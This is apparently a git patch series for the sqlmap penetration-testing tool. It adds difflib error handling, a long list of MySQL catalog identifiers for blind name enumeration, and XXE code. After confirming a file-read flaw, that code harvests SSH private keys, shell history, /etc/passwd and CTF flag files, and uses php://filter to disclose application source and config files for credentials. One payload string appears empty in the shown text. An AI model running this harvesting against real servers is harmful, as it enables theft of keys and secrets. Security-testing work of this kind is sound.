+df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py +97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a83a5f2cf..a33fd421f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage): seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() - except MemoryError: + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input or, rarely, with interpreter-level + # errors under heavy threading; degrade to "undetermined" instead of crashing ratio = None if ratio is None: diff --git a/lib/core/common.py b/lib/core/common.py index 9a86af8cd..4c4a4d307 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None @@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return if not merge: kb.dynamicMarkings = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 889e36e59..35ab7215c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.29" +VERSION = "1.10.7.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = ( # Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests # this curated set of high-value, fixed-path files (host identity, process env/ -# secrets, key material) - the XXE analogue of the automatic dumping the other -# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); -# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES -# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs -# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user -# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +# secrets, key material, common application drop paths) - the XXE analogue of the +# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each +# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently +# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids +# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are +# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted +# request is honoured verbatim instead). XXE_FILE_HARVEST = ( "/etc/passwd", "/etc/hostname", @@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = ( "/proc/version", "/root/.bash_history", "/root/.ssh/id_rsa", + "/flag", + "/flag.txt", "c:/windows/win.ini", "c:/windows/system32/drivers/etc/hosts", "c:/inetpub/wwwroot/web.config", ) +# Application web roots + source filenames used, once php://filter is available, to +# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its +# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter +# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline, +# environ}. Best-effort and bounded. +XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app") +XXE_SOURCE_NAMES = ( + "index.php", "config.php", "config.inc.php", "secret.php", + "db.php", "database.php", "settings.php", "init.php", "functions.php", + "app.py", "server.py", "main.py", "wp-config.php", ".env", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 2de1ee4fc..1e62de59a 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import XXE_SOURCE_NAMES +from lib.core.settings import XXE_WEBROOTS from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName): return harvested +def _phpFilterWorks(xml, rootName): + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless + requests for it.""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + ent = randomStr(8, lowercase=True) + subset = '' % ent + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) + if match and match.group(1).strip(): + try: + return bool(getText(decodeBase64(match.group(1).strip())).strip()) + except Exception: + pass + return False + + +def _harvestSource(xml, rootName, harvested): + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose + server-side application SOURCE code via php://filter (source is executed, never + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} + (running script + working dir) combined with common web roots/source names, and + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP + target. Returns a list of (path, content, payload).""" + + if not _phpFilterWorks(xml, rootName): + return [] + + byPath = dict((p, c) for p, c, _ in harvested) + seen = set(getUnicode(c).strip() for c in byPath.values()) + candidates = [] + + dirs = [] + environ = getUnicode(byPath.get("/proc/self/environ", "")) + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) + cwd = match.group(1).strip() if match else None + if cwd: + dirs.append(cwd) + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] + + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) + for token in re.split(r"[\x00\s]+", cmdline): + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): + if token.startswith("/"): + candidates.append(token) # absolute script path + elif cwd: + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) + + for directory in dirs: + for name in XXE_SOURCE_NAMES: + candidates.append("%s/%s" % (directory.rstrip("/"), name)) + + logger.info("attempting application source-code disclosure via php://filter") + + result = [] + read = set() + for path in candidates: + if path in read: + continue + read.add(path) + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip() and getUnicode(content).strip() not in seen: + seen.add(getUnicode(content).strip()) + result.append((path, content, payload)) + return result + + def _tryInternal(xml, rootName, baseline): """T2 in-band: an internal general entity expands to the sentinel and is reflected. Guarded by a negative control (sentinel absent from baseline) and @@ -716,7 +789,9 @@ def xxeScan(): if harvested: found = True firstPath, _, firstPayload = harvested[0] - logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + # follow-up: server-side application source disclosure (php://filter) + harvested += _harvestSource(xml, rootName, harvested) + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) saved = [] for path, content, _ in harvested: From 50ff3debe54100f6413ecb755e1d6eff2715675f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 12:02:22 +0200 Subject: [PATCH 31/34] General boolean inference improvements --- data/txt/catalog-identifiers.txt | 13792 ++++++++++++++++++++++++++++ data/txt/common-outputs.txt | 1476 --- data/txt/sha256sums.txt | 22 +- lib/core/common.py | 61 +- lib/core/option.py | 11 +- lib/core/optiondict.py | 1 - lib/core/settings.py | 53 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 3 - lib/request/inject.py | 155 + lib/techniques/blind/inference.py | 405 +- plugins/generic/databases.py | 69 +- plugins/generic/entries.py | 85 +- 13 files changed, 14506 insertions(+), 1629 deletions(-) create mode 100644 data/txt/catalog-identifiers.txt delete mode 100644 data/txt/common-outputs.txt diff --git a/data/txt/catalog-identifiers.txt b/data/txt/catalog-identifiers.txt new file mode 100644 index 000000000..3d49680a5 --- /dev/null +++ b/data/txt/catalog-identifiers.txt @@ -0,0 +1,13792 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission +# +# Real DBMS system/catalog table and column identifiers, grouped in [] sections (the section +# name matches a lib.core.enums.DBMS value). Used to warm a per-DBMS character-level Markov model that +# drives Huffman set-membership retrieval during blind table/column NAME enumeration (see +# lib/techniques/blind/inference.py::getHuffmanPrior); the fingerprinted back-end's section is loaded +# at run time. Not used for whole-value wordlist matching. + +[MySQL] +Abbreviation +ACCESS_MODE +ACCESS_TIME +account_locked +accounts +ACTION_CONDITION +ACTION_ORDER +ACTION_ORIENTATION +ACTION_REFERENCE_NEW_ROW +ACTION_REFERENCE_NEW_TABLE +ACTION_REFERENCE_OLD_ROW +ACTION_REFERENCE_OLD_TABLE +ACTION_STATEMENT +ACTION_TIMING +ACTIVE_SINCE +ADMINISTRABLE_ROLE_AUTHORIZATIONS +allocated +ALLOCATED_SIZE +Alter_priv +Alter_routine_priv +APPLICABLE_ROLES +APPLYING_TRANSACTION +APPLYING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +APPLYING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_RETRIES_COUNT +APPLYING_TRANSACTION_START_APPLY_TIMESTAMP +argument +Assign_gtids_to_anonymous_transactions_type +Assign_gtids_to_anonymous_transactions_value +ATTRIBUTE +ATTR_NAME +ATTR_VALUE +authentication_string +AUTOCOMMIT +AUTOEXTEND_SIZE +AUTOINC +AUTO_INCREMENT +auto_increment_ratio +AUTO_POSITION +AVG_COUNT +AVG_COUNT_RESET +avg_latency +avg_read +AVG_ROW_LENGTH +avg_rows_sorted +avg_sort_merges +AVG_STATEMENTS_WAIT +AVG_TIMER_DELETE +AVG_TIMER_EXECUTE +AVG_TIMER_FETCH +AVG_TIMER_INSERT +AVG_TIMER_MISC +AVG_TIMER_READ +AVG_TIMER_READ_EXTERNAL +AVG_TIMER_READ_HIGH_PRIORITY +AVG_TIMER_READ_NO_INSERT +AVG_TIMER_READ_NORMAL +AVG_TIMER_READ_ONLY +AVG_TIMER_READ_WITH_SHARED_LOCKS +AVG_TIMER_READ_WRITE +AVG_TIMER_UPDATE +AVG_TIMER_WAIT +AVG_TIMER_WRITE +AVG_TIMER_WRITE_ALLOW_WRITE +AVG_TIMER_WRITE_CONCURRENT_INSERT +AVG_TIMER_WRITE_EXTERNAL +AVG_TIMER_WRITE_LOW_PRIORITY +AVG_TIMER_WRITE_NORMAL +avg_tmp_tables_per_query +avg_us +avg_write +avg_written +BACKEND_KEY_ID +BASE_POS +binary_log_transaction_compression_stats +Bind +BLOCK_ID +blocking_account +BLOCKING_ENGINE_LOCK_ID +BLOCKING_ENGINE_TRANSACTION_ID +BLOCKING_EVENT_ID +blocking_lock_duration +blocking_lock_id +blocking_lock_mode +blocking_lock_type +BLOCKING_OBJECT_INSTANCE_BEGIN +blocking_pid +blocking_query +BLOCKING_THREAD_ID +blocking_trx_age +blocking_trx_id +blocking_trx_rows_locked +blocking_trx_rows_modified +blocking_trx_started +BLOCK_OPS_IN +BLOCK_OPS_OUT +BUCKET_NUMBER +BUCKET_QUANTILE +BUCKET_TIMER_HIGH +BUCKET_TIMER_LOW +buffer_pool_instance +CARDINALITY +CATALOG_NAME +CHANNEL +Channel_name +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CLIENT +CHARACTER_SET_NAME +CHARACTER_SETS +CHECK_CLAUSE +CHECK_CONSTRAINTS +CHECK_OPTION +Checkpoint_group_bitmap +Checkpoint_group_size +Checkpoint_master_log_name +Checkpoint_master_log_pos +Checkpoint_relay_log_name +Checkpoint_relay_log_pos +Checkpoint_seqno +CHECKSUM +CHECK_TIME +clustered_index_size +CLUST_INDEX_SIZE +cnt +COLLATION +COLLATION_CHARACTER_SET_APPLICABILITY +COLLATION_CONNECTION +COLLATION_NAME +COLLATIONS +COLUMN_COMMENT +COLUMN_DEFAULT +COLUMN_KEY +COLUMN_NAME +Column_priv +COLUMN_PRIVILEGES +COLUMNS +COLUMNS_EXTENSIONS +columns_priv +COLUMN_STATISTICS +COLUMN_TYPE +COMMAND +command_type +COMMENT +component +component_group_id +component_id +component_urn +COMPRESSED +COMPRESSED_BYTES_COUNTER +COMPRESSED_SIZE +COMPRESSION_ALGORITHM +COMPRESSION_PERCENTAGE +COMPRESSION_TYPE +compress_ops +compress_ops_ok +compress_time +cond_instances +Configuration +CONFIGURED_BY +CONNECTION_RETRY_COUNT +CONNECTION_RETRY_INTERVAL +CONNECTION_TYPE +Connect_retry +conn_id +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONSTRAINT_TYPE +CONSUMER_LEVEL +CONTEXT_INVOLUNTARY +CONTEXT_VOLUNTARY +CONTROLLED_MEMORY +CONVERSION_FACTOR +Correction +cost_name +cost_value +COUNT +COUNT_ADDRINFO_PERMANENT_ERRORS +COUNT_ADDRINFO_TRANSIENT_ERRORS +COUNT_ALLOC +COUNT_AUTHENTICATION_ERRORS +COUNT_AUTH_PLUGIN_ERRORS +COUNT_BUCKET +COUNT_BUCKET_AND_LOWER +COUNT_CONFLICTS_DETECTED +COUNT_DEFAULT_DATABASE_ERRORS +COUNT_DELETE +COUNTER +COUNT_EXECUTE +COUNT_FCRDNS_ERRORS +COUNT_FETCH +COUNT_FORMAT_ERRORS +COUNT_FREE +COUNT_HANDSHAKE_ERRORS +COUNT_HOST_ACL_ERRORS +COUNT_HOST_BLOCKED_ERRORS +COUNT_INIT_CONNECT_ERRORS +COUNT_INSERT +COUNT_LOCAL_ERRORS +COUNT_MAX_USER_CONNECTIONS_ERRORS +COUNT_MAX_USER_CONNECTIONS_PER_HOUR_ERRORS +COUNT_MISC +COUNT_NAMEINFO_PERMANENT_ERRORS +COUNT_NAMEINFO_TRANSIENT_ERRORS +COUNT_NO_AUTH_PLUGIN_ERRORS +COUNT_PROXY_USER_ACL_ERRORS +COUNT_PROXY_USER_ERRORS +COUNT_READ +COUNT_READ_EXTERNAL +COUNT_READ_HIGH_PRIORITY +COUNT_READ_NO_INSERT +COUNT_READ_NORMAL +COUNT_READ_ONLY +COUNT_READ_WITH_SHARED_LOCKS +COUNT_READ_WRITE +COUNT_RECEIVED_HEARTBEATS +COUNT_REPREPARE +COUNT_RESET +COUNT_SECONDARY +COUNT_SSL_ERRORS +COUNT_STAR +COUNT_STATEMENTS +COUNT_TRANSACTIONS_CHECKED +COUNT_TRANSACTIONS_IN_QUEUE +COUNT_TRANSACTIONS_LOCAL_PROPOSED +COUNT_TRANSACTIONS_LOCAL_ROLLBACK +COUNT_TRANSACTIONS_REMOTE_APPLIED +COUNT_TRANSACTIONS_REMOTE_IN_APPLIER_QUEUE +COUNT_TRANSACTIONS_RETRIES +COUNT_TRANSACTIONS_ROWS_VALIDATING +COUNT_UNKNOWN_ERRORS +COUNT_UPDATE +COUNT_WRITE +COUNT_WRITE_ALLOW_WRITE +COUNT_WRITE_CONCURRENT_INSERT +COUNT_WRITE_EXTERNAL +COUNT_WRITE_LOW_PRIORITY +COUNT_WRITE_NORMAL +cpu_latency +CPU_SYSTEM +CPU_TIME +CPU_USER +CREATED +CREATED_TMP_DISK_TABLES +CREATED_TMP_TABLES +CREATE_OPTIONS +Create_priv +Create_role_priv +Create_routine_priv +Create_tablespace_priv +CREATE_TIME +Create_tmp_table_priv +Create_user_priv +Create_view_priv +CREATION_TIME +current_alloc +current_allocated +current_avg_alloc +CURRENT_CONNECTIONS +current_count +CURRENT_COUNT_USED +current_max_alloc +current_memory +CURRENT_NUMBER_OF_BYTES_USED +CURRENT_SCHEMA +current_statement +DATA +DATABASE_COLLATION +database_name +DATABASE_PAGES +DATA_FREE +DATA_LENGTH +data_locks +data_lock_waits +DATA_SIZE +DATA_TYPE +DATETIME_PRECISION +db +DB +DEFAULT_CHARACTER_SET_NAME +DEFAULT_COLLATE_NAME +DEFAULT_COLLATION_NAME +DEFAULT_ENCRYPTION +DEFAULT_ROLE_HOST +default_roles +DEFAULT_ROLE_USER +DEFAULT_VALUE +DEFINER +DEFINITION +DELETED_ROWS +delete_latency +Delete_priv +DELETE_RULE +deletes +DESCRIPTION +DESIRED_DELAY +device_type +DIGEST +DIGEST_TEXT +disk_tmp_tables +dl +DOC_COUNT +DOC_ID +DOCUMENTATION +dominant_index_columns +dominant_index_name +dominant_index_non_unique +Drop_priv +Drop_role_priv +DTD_IDENTIFIER +DURATION +enabled +Enabled_auto_position +ENABLED_ROLES +Enabled_ssl +ENCRYPTION +END_EVENT_ID +END_LSN +ENDS +ENFORCED +ENGINE +ENGINE_ATTRIBUTE +engine_cost +ENGINE_LOCK_ID +engine_name +ENGINES +ENGINE_TRANSACTION_ID +epoch +err_count +ERROR_CODE +error_handling +error_log +ERROR_NAME +ERROR_NUMBER +error_pct +ERRORS +event +EVENT_BODY +EVENT_CATALOG +event_class +EVENT_COMMENT +EVENT_DEFINITION +EVENT_ID +EVENT_MANIPULATION +EVENT_NAME +EVENT_OBJECT_CATALOG +EVENT_OBJECT_SCHEMA +EVENT_OBJECT_TABLE +Event_priv +events +EVENTS +EVENT_SCHEMA +events_errors_summary_by_account_by_error +events_errors_summary_by_host_by_error +events_errors_summary_by_thread_by_error +events_errors_summary_by_user_by_error +events_errors_summary_global_by_error +events_stages_current +events_stages_history +events_stages_history_long +events_stages_summary_by_account_by_event_name +events_stages_summary_by_host_by_event_name +events_stages_summary_by_thread_by_event_name +events_stages_summary_by_user_by_event_name +events_stages_summary_global_by_event_name +events_statements_current +events_statements_histogram_by_digest +events_statements_histogram_global +events_statements_history +events_statements_history_long +events_statements_summary_by_account_by_event_name +events_statements_summary_by_digest +events_statements_summary_by_host_by_event_name +events_statements_summary_by_program +events_statements_summary_by_thread_by_event_name +events_statements_summary_by_user_by_event_name +events_statements_summary_global_by_event_name +events_transactions_current +events_transactions_history +events_transactions_history_long +events_transactions_summary_by_account_by_event_name +events_transactions_summary_by_host_by_event_name +events_transactions_summary_by_thread_by_event_name +events_transactions_summary_by_user_by_event_name +events_transactions_summary_global_by_event_name +events_waits_current +events_waits_history +events_waits_history_long +events_waits_summary_by_account_by_event_name +events_waits_summary_by_host_by_event_name +events_waits_summary_by_instance +events_waits_summary_by_thread_by_event_name +events_waits_summary_by_user_by_event_name +events_waits_summary_global_by_event_name +event_time +EVENT_TYPE +example +exec_count +exec_secondary_count +EXECUTE_AT +Execute_priv +EXECUTION_ENGINE +EXPRESSION +EXTENT_SIZE +EXTERNAL_LANGUAGE +EXTERNAL_LOCK +EXTERNAL_NAME +EXTRA +fetch_latency +File +FILE_ID +file_instances +file_io_latency +file_ios +FILE_NAME +File_priv +FILES +FILE_SIZE +file_summary_by_event_name +file_summary_by_instance +FILE_TYPE +FILTER_NAME +FILTER_RULE +FIRST_DOC_ID +FIRST_ERROR_SEEN +FIRST_SEEN +FIRST_TRANSACTION_COMPRESSED_BYTES +FIRST_TRANSACTION_ID +FIRST_TRANSACTION_TIMESTAMP +FIRST_TRANSACTION_UNCOMPRESSED_BYTES +FIX_COUNT +FLAG +FLAGS +FLUSH_TYPE +FOR_COL_NAME +FOR_NAME +FREE_BUFFERS +FREE_EXTENTS +FREE_PAGE_CLOCK +FREQUENCY +FROM_HOST +FROM_USER +FS_BLOCK_SIZE +full_scan +full_scans +FULLTEXT_KEYS +func +gci +general_log +GENERATION_EXPRESSION +GEOMETRY_TYPE_NAME +Get_public_key +global_grants +global_status +global_variables +GRANTEE +GRANTEE_HOST +GRANTOR +GRANTOR_HOST +Grant_priv +GROUP_NAME +GTID +gtid_executed +Gtid_only +gtid_tag +HAS_DEFAULT +Heartbeat +HEARTBEAT_INTERVAL +help_category +help_category_id +help_keyword +help_keyword_id +help_relation +help_topic +help_topic_id +high_alloc +high_avg_alloc +high_count +HIGH_COUNT_USED +HIGH_NUMBER_OF_BYTES_USED +HISTOGRAM +HISTORY +HIT_RATE +HOST +host_cache +hosts +host_summary +host_summary_by_file_io +host_summary_by_file_io_type +host_summary_by_stages +host_summary_by_statement_latency +host_summary_by_statement_type +HOST_VALIDATED +ID +Ignored_server_ids +index_columns +INDEX_COMMENT +INDEX_ID +INDEX_LENGTH +INDEX_NAME +Index_priv +INDEX_SCHEMA +INDEX_TYPE +INFO +INITIAL_SIZE +innodb_buffer_allocated +innodb_buffer_data +innodb_buffer_free +INNODB_BUFFER_PAGE +INNODB_BUFFER_PAGE_LRU +innodb_buffer_pages +innodb_buffer_pages_hashed +innodb_buffer_pages_old +INNODB_BUFFER_POOL_STATS +innodb_buffer_rows_cached +innodb_buffer_stats_by_schema +innodb_buffer_stats_by_table +INNODB_CACHED_INDEXES +INNODB_CMP +INNODB_CMPMEM +INNODB_CMPMEM_RESET +INNODB_CMP_PER_INDEX +INNODB_CMP_PER_INDEX_RESET +INNODB_CMP_RESET +INNODB_COLUMNS +INNODB_DATAFILES +INNODB_FIELDS +INNODB_FOREIGN +INNODB_FOREIGN_COLS +INNODB_FT_BEING_DELETED +INNODB_FT_CONFIG +INNODB_FT_DEFAULT_STOPWORD +INNODB_FT_DELETED +INNODB_FT_INDEX_CACHE +INNODB_FT_INDEX_TABLE +INNODB_INDEXES +innodb_index_stats +innodb_lock_waits +INNODB_METRICS +innodb_redo_log_files +INNODB_SESSION_TEMP_TABLESPACES +INNODB_TABLES +INNODB_TABLESPACES +INNODB_TABLESPACES_BRIEF +innodb_table_stats +INNODB_TABLESTATS +INNODB_TEMP_TABLE_INFO +INNODB_TRX +INNODB_VIRTUAL +insert_id +insert_latency +Insert_priv +inserts +INSTANT_COLS +INSTRUMENTED +INSUFFICIENT_PRIVILEGES +INTERNAL_LOCK +international +interval_end +INTERVAL_FIELD +interval_start +INTERVAL_VALUE +io_by_thread_by_latency +IO_FIX +io_global_by_file_by_bytes +io_global_by_file_by_latency +io_global_by_wait_by_bytes +io_global_by_wait_by_latency +io_latency +io_misc_latency +io_misc_requests +io_read +io_read_latency +io_read_requests +ios +io_write +io_write_latency +io_write_requests +IP +IS_COMPILED +IS_DEFAULT +IS_DETERMINISTIC +Is_DST +IS_FULL +IS_GRANTABLE +IS_HASHED +IS_MANDATORY +IS_NULLABLE +ISOLATION_LEVEL +IS_OLD +is_signed +IS_STALE +is_unsigned +IS_UPDATABLE +IS_VISIBLE +KEY +KEY_COLUMN_USAGE +KEY_ID +KEY_OWNER +keyring_component_status +keyring_keys +KEYWORDS +LAST_ACCESS_TIME +LAST_ALTERED +LAST_APPLIED_TRANSACTION +LAST_APPLIED_TRANSACTION_END_APPLY_TIMESTAMP +LAST_APPLIED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +LAST_APPLIED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_RETRIES_COUNT +LAST_APPLIED_TRANSACTION_START_APPLY_TIMESTAMP +LAST_CONFLICT_FREE_TRANSACTION +LAST_DOC_ID +LAST_ERROR_MESSAGE +LAST_ERROR_NUMBER +LAST_ERROR_SEEN +LAST_ERROR_TIMESTAMP +LAST_EXECUTED +LAST_HEARTBEAT_TIMESTAMP +last_insert_id +LAST_PROCESSED_TRANSACTION +LAST_PROCESSED_TRANSACTION_END_BUFFER_TIMESTAMP +LAST_PROCESSED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_START_BUFFER_TIMESTAMP +LAST_QUEUED_TRANSACTION +LAST_QUEUED_TRANSACTION_END_QUEUE_TIMESTAMP +LAST_QUEUED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_START_QUEUE_TIMESTAMP +LAST_SEEN +last_statement +last_statement_latency +LAST_TRANSACTION_COMPRESSED_BYTES +LAST_TRANSACTION_ID +LAST_TRANSACTION_TIMESTAMP +LAST_TRANSACTION_UNCOMPRESSED_BYTES +last_update +LAST_UPDATE_TIME +last_wait +last_wait_latency +latency +latest_file_io +LEN +LOAD_OPTION +LOCAL +LOCK_DATA +LOCK_DURATION +LOCKED_BY_THREAD_ID +locked_index +locked_table +locked_table_name +locked_table_partition +locked_table_schema +locked_table_subpartition +locked_type +lock_latency +LOCK_MODE +LOCK_STATUS +Lock_tables_priv +lock_time +LOCK_TYPE +LOGFILE_GROUP_NAME +LOGFILE_GROUP_NUMBER +LOGGED +log_status +LOG_TYPE +LOW_COUNT_USED +LOW_NUMBER_OF_BYTES_USED +LRU_IO_CURRENT +LRU_IO_TOTAL +LRU_POSITION +Managed_name +Managed_type +Master_compression_algorithm +Master_log_name +Master_log_pos +Master_zstd_compression_level +MATCH_OPTION +max_connections +MAX_CONTROLLED_MEMORY +MAX_COUNT +MAX_COUNT_RESET +MAX_DATA_LENGTH +MAXIMUM_SIZE +max_latency +MAXLEN +max_questions +MAX_SESSION_CONTROLLED_MEMORY +MAX_SESSION_TOTAL_MEMORY +MAX_STATEMENTS_WAIT +MAX_TIMER_DELETE +MAX_TIMER_EXECUTE +MAX_TIMER_FETCH +MAX_TIMER_INSERT +MAX_TIMER_MISC +MAX_TIMER_READ +MAX_TIMER_READ_EXTERNAL +MAX_TIMER_READ_HIGH_PRIORITY +MAX_TIMER_READ_NO_INSERT +MAX_TIMER_READ_NORMAL +MAX_TIMER_READ_ONLY +MAX_TIMER_READ_WITH_SHARED_LOCKS +MAX_TIMER_READ_WRITE +MAX_TIMER_UPDATE +MAX_TIMER_WAIT +MAX_TIMER_WRITE +MAX_TIMER_WRITE_ALLOW_WRITE +MAX_TIMER_WRITE_CONCURRENT_INSERT +MAX_TIMER_WRITE_EXTERNAL +MAX_TIMER_WRITE_LOW_PRIORITY +MAX_TIMER_WRITE_NORMAL +MAX_TOTAL_MEMORY +max_updates +max_user_connections +MAX_VALUE +MEMBER_COMMUNICATION_STACK +MEMBER_HOST +MEMBER_ID +MEMBER_PORT +MEMBER_ROLE +MEMBER_STATE +MEMBER_VERSION +memory_by_host_by_current_bytes +memory_by_thread_by_current_bytes +memory_by_user_by_current_bytes +memory_global_by_current_bytes +memory_global_total +memory_summary_by_account_by_event_name +memory_summary_by_host_by_event_name +memory_summary_by_thread_by_event_name +memory_summary_by_user_by_event_name +memory_summary_global_by_event_name +memory_tmp_tables +MERGE_THRESHOLD +MESSAGES_RECEIVED +MESSAGES_SENT 